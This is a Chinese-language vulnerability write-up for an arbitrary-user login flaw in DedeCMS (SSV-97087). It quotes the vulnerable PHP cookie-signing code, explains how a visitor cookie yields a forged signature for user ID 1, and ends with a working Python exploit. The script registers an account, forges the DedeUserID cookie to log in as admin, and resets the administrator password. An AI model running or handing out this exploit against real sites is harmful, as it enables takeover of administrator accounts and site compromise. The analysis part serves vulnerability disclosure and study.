（SSV-97087）DeDecms 任意用户登录
一、漏洞简介
漏洞编号：SSV-97087，提交时间：20180118
dedecms的会员模块的身份认证使用的是客户端session，在Cookie中写入用户ID并且附上ID__ckMd5，用做签名。主页存在逻辑漏洞，导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。
二、漏洞影响
三、复现过程
代码分析
在/member/index.php中会接收uid和action参数。uid为用户名，进入index.php后会验证Cookie中的用户ID与uid(用户名)并确定用户权限。
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/');
我们可以看到当uid存在值时就会进入我们现在的代码中，当cookie中的last_vid中不存在值为空时，就会将uid值赋予过去，$last_vid = $uid;，然后PutCookie。
那么这么说，我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。
而在接下来会验证用户是否登录。
现在我们来看看，dedecms会员认证系统是怎么实现的：/include/memberlogin.class.php
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);
if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
if(is_array($this->fields)){
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
if($data = uc_get_user($this->fields['userid']))
{
if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
{
$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
}
}
}
#/aip}}
//间隔一小时更新一次用户登录时间
if(time() - $this->M_LoginTime > 3600)
{
$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
}
$this->M_LoginID = $this->fields['userid'];
$this->M_MbType = $this->fields['mtype'];
$this->M_Money = $this->fields['money'];
$this->M_UserName = FormatUsername($this->fields['uname']);
$this->M_Scores = $this->fields['scores'];
$this->M_Face = $this->fields['face'];
$this->M_Rank = $this->fields['rank'];
$this->M_Spacesta = $this->fields['spacesta'];
$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
$scrow = $dsql->GetOne($sql);
$this->fields['honor'] = $scrow['titles'];
$this->M_Honor = $this->fields['honor'];
if($this->fields['matt']==10) $this->isAdmin = TRUE;
$this->M_UpTime = $this->fields['uptime'];
$this->M_ExpTime = $this->fields['exptime'];
$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
if($this->M_Rank>10 && $this->M_UpTime>0){
$this->M_HasDay = $this->Judgemember();
}
if( !$formcache )
{
SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
}
}else{
$this->ResetUser();
}
}
}
$this->M_ID等于Cookie中的DedUserID，我们继续看看GetCookie函数
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}
它不但读了cookie还验证了md5值。
这样，由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。
最后一个问题，因为我们上面是通过用户名伪造ID的，用户名为字符串而ID为整数，但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说，如果我们想伪造ID为1的用户的Md5，我们只要在上面设置uid(用户名)为’000001’即可。
复现
1、先从member/index.php中获取伪造的DedeUserID和它对于的md5
2、使用它登录
访问member/index.php?uid=0000001并抓包(注意cookie中last_vid值应该为空)。
可以看到已经获取到了，拿去当做DeDeUserID
可以看到，登陆了admin用户。
python脚本
# coding=utf-8
import requests
import re
if __name__ == "__main__":
dede_host = "http://127.0.0.1/"
oldpwd = '123456'
newpwd = "cnvdcnvd"
s = requests.Session()
if '系统关闭了会员功能' in requests.get(dede_host + 'member/reg_new.php').content:
exit('The system has closed the member function .Can not attack !!!')
else:
print "The system opened the membership function, I wish you good luck !!"
headers = {"Referer": dede_host + "member/reg_new.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('1.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the registration verification code : ")
userid = '0000001'
uname = '0000001'
userpwd = '123456'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
"Content-Type": "application/x-www-form-urlencoded"}
data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format(
userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
if "验证码错误" in rs.content:
exit("Verification code error, account registration failed")
elif '注册成功' in rs.content:
print 'registration success !!'
rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
if "资料尚未通过审核" in rs.content:
exit("User information has not been approved !!!") # 会员使用权限开通状态(-10 邮件验证 -1 手工审核, 0 没限制)：
searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
last_vid__ckMd5 = searchObj.group(1)
s.cookies['DedeUserID'] = userid
s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
rs = s.get(dede_host + "/member/index.php")
if "class=\"userName\">admin</a>" in rs.text:
print "Administrator login successful !!"
headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('2.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the verification code : ")
data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
"safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "admin@admin.com", "vdcode": vdcode}
rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
if "成功更新你的基本资料" in rs.content:
print "Administrator password modified successfully !!"
print "The new administrator password is : " + newpwd
else:
print "attack fail"